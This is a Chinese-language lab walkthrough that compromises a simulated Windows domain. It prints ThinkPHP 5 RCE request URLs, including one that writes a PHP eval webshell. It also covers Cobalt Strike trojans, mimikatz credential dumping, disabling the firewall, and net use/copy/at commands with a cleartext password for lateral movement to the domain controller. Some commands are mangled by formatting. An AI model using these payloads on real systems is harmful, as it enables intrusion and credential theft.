环境搭建
自行下载安装包 解压
VMware中
![](https://i-blog.csdnimg.cn/blog_migrate/0fe0ad9ad3402712e9f5237d3758182d.png)
![](https://i-blog.csdnimg.cn/blog_migrate/f1bbf27ffa5a8bdad854009ddb807cf8.png)
win7 win8 同样方法
所要用到的攻击机为kali
调节kali的网络适配器为vmnet8
![](https://i-blog.csdnimg.cn/blog_migrate/d08170108eb41cfa639ddda123df4f11.png)
调节win7的网络适配器 增加vmnet5用来连接内网
![](https://i-blog.csdnimg.cn/blog_migrate/37f56871d0cc21c6c915d72878ba7136.png)
win8 vmnet5
![](https://i-blog.csdnimg.cn/blog_migrate/7da6b097b9cd1e2d5ede9c63508c4eeb.png)
名称 | ip | 角色 |
kali | 192.168.115.129 | 攻击机 |
win7 | 192.168.115.150 192.168.138.136 | |
win8 | 192.168.138.138 | DC |
拓扑图
![](https://i-blog.csdnimg.cn/blog_migrate/8cd0c0aa6659643e765ee243d5364c5c.png)
利用kali来信息收集
![](https://i-blog.csdnimg.cn/blog_migrate/ab45ef34fb1514d4d525ba8ea4cbde48.png)
探测到win7主机ip 115.150
进入win7 查看其ip 外网地址为192.168.115.150 内网地址为192.168.138.136
![](https://i-blog.csdnimg.cn/blog_migrate/ab55b7231c05ebcb1ab8f29714c8759f.png)
手动关闭win7防火墙 以便后续操作 (后面也可利用cs关闭)
![](https://i-blog.csdnimg.cn/blog_migrate/b585cb6c54982e1f2aa2306ffba13933.png)
到c盘中开启phpstudy
![](https://i-blog.csdnimg.cn/blog_migrate/6d4f847ceaeac17827813d800c1e77e7.png)
利用kali进行扫描
![](https://i-blog.csdnimg.cn/blog_migrate/e215f9b8c90fceb478f723db25a60748.png)
发现端口80开放 尝试访问
![](https://i-blog.csdnimg.cn/blog_migrate/3e74fc7b2459496ba20f120bf5635937.png)
一个网站 上面ThinkPHPV5的框架 想到thinkphp漏洞
这里我们先不上工具
测试thinkphp版本
![](https://i-blog.csdnimg.cn/blog_migrate/c72725bf401bb14cfc6fe3348786444b.png)
找到版本漏洞的poc 可以命令执行
http://192.168.115.150/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
![](https://i-blog.csdnimg.cn/blog_migrate/737132cf85efaa902f6e43bc904ab52b.png)
http://192.168.115.150/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
![](https://i-blog.csdnimg.cn/blog_migrate/9b9ae82846d8ddedddc9ec56e6f67ba4.png)
查看当前路径
http://192.168.115.150/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=powershell%20pwd
![](https://i-blog.csdnimg.cn/blog_migrate/741eccf0e8c12967f72f9f933a219c80.png)
写一句木马getshell
http://192.168.115.150/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST['666']); ?^> > C:\phpStudy\PHPTutorial\WWW\public\shell.php
![](https://i-blog.csdnimg.cn/blog_migrate/d0f70c6410ff96aa96780315a4591e88.png)
使用蚁剑连接
![](https://i-blog.csdnimg.cn/blog_migrate/db38e73e7ded7f1b34cc6422919593ea.png)
连接成功
![](https://i-blog.csdnimg.cn/blog_migrate/2a4033d558ec5b4e4612cfd429534ab1.png)
查看当前域环境
![](https://i-blog.csdnimg.cn/blog_migrate/977de41916ca4bd1a43544309773af70.png)
域名sun.conn
![](https://i-blog.csdnimg.cn/blog_migrate/29040f9b5f22ddcd712db6e636d99e7e.png)
然后ping一下sun.conn 拿到域控ip
接下来进行横向移动 上线CS
kali作为服务端
![](https://i-blog.csdnimg.cn/blog_migrate/6ad450d864e9d3b416110519d5ab7fed.png)
在本机打开客户端
![](https://i-blog.csdnimg.cn/blog_migrate/014353293568498d0a3b43c87fcfd7a1.png)
ip为kali ip 密码123456
![](https://i-blog.csdnimg.cn/blog_migrate/677a67f96e1e7c1f45baec71cb293d76.png)
连接成功
![](https://i-blog.csdnimg.cn/blog_migrate/3e30826462624593ef45b3e9b0a1ffbc.png)
先创建监听器
![](https://i-blog.csdnimg.cn/blog_migrate/365ee6ccc702148dbcbb2b2a7af8477c.png)
![](https://i-blog.csdnimg.cn/blog_migrate/11775bff23efb0f7712c682eb91e5b6a.png)
生成windows exe木马
![](https://i-blog.csdnimg.cn/blog_migrate/0003d26a714e3f5cfc585cfa337c0553.png)
![](https://i-blog.csdnimg.cn/blog_migrate/f7dea8a031e24f821957136d73b66606.png)
选择artifact.exe
![](https://i-blog.csdnimg.cn/blog_migrate/bbccb7d0da2afb68ec0859d1be32791d.png)
生成木马链接
![](https://i-blog.csdnimg.cn/blog_migrate/a958fb1abd84fa7d056f3ef41d172318.png)
选择刚刚的artifact.exe 及命名要生成文件的名字
![](https://i-blog.csdnimg.cn/blog_migrate/bc3aaa14c25d2440b68864c706695cb1.png)
创建成功
![](https://i-blog.csdnimg.cn/blog_migrate/016a77a8b20d93400d3aea67987d0931.png)
使用本机下载 利用蚁剑上场到win7的桌面上
![](https://i-blog.csdnimg.cn/blog_migrate/982dbe9f822757f192add316ab329683.png)
再利用蚁剑对其进行运行 CS就会捕捉到win7
![](https://i-blog.csdnimg.cn/blog_migrate/86c693f4bd442da0f8883ece0e05b56f.png)
运行mimikatz 读到了域管理员的密码
![](https://i-blog.csdnimg.cn/blog_migrate/963a0b104d1811dac0a536100e416abd.png)
提权
![](https://i-blog.csdnimg.cn/blog_migrate/8f6692b40dc7ccc73965d9d2c05b1217.png)
![](https://i-blog.csdnimg.cn/blog_migrate/b68cf74b576aec5ed139282af8828e8d.png)
系统权限管理员上线
![](https://i-blog.csdnimg.cn/blog_migrate/aee13360747d3d4717d6ca63fdfc0f48.png)
我们也可以利用CS关闭防火墙 (shell netsh firewall set opmode disable)
![](https://i-blog.csdnimg.cn/blog_migrate/4d81a37156f5e4337e651c50afd116c7.png)
利用系统权限的win7来让dc win8上线
在win7上设置中转监听
![](https://i-blog.csdnimg.cn/blog_migrate/8de815c09c78fdb71763ce1d0b99b9e0.png)
命名为dc
![](https://i-blog.csdnimg.cn/blog_migrate/35b9a89d340cf0eaa0b0cd78ad355528.png)
中转监听
![](https://i-blog.csdnimg.cn/blog_migrate/e6093b92d94c21d263edc3ad5065cf64.png)
![](https://i-blog.csdnimg.cn/blog_migrate/53997bb851775e21c2eb2446ed1b2bb9.png)
开启端口
![](https://i-blog.csdnimg.cn/blog_migrate/dce97fd5a853a02640a7bf5256cf4c5d.png)
再次生成木马
![](https://i-blog.csdnimg.cn/blog_migrate/1ca283109cc36516b7d2c1b68b28da57.png)
利用蚁剑上传木马和psexec (psexec:微软官方实用工具(如 Telnet)和远程控制程序(如 Symantec 的 PC Anywhere)使您可以在远程系统上执行程序,但安装它们非常困难,并且需要您在想要访问的远程系统上安装客户端软件。PsExec 是一个轻型的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。)
![](https://i-blog.csdnimg.cn/blog_migrate/35ad11890cfaafe2957e42a7e7f488aa.png)
使用命令执行木马 (shell net use\\192.168.138.138\̲i̲p̲c̲ “!qazwin7” /user:administrator)
![](https://i-blog.csdnimg.cn/blog_migrate/43c39d1740ab7af89a2a8be984fa83d8.png)
(shell copy c:\win2008cs.exe \192.168.138.138\c$)
执行木马 (shell at \192.168.138.138 c:\2008cs.exe)
也可利用蚁剑执行
dc上线
![](https://i-blog.csdnimg.cn/blog_migrate/64dfc65fbc80b1e7d28e9f657e4d7218.png)
![](https://i-blog.csdnimg.cn/blog_migrate/c71c6987f299145cf5cac3c28097fc78.png)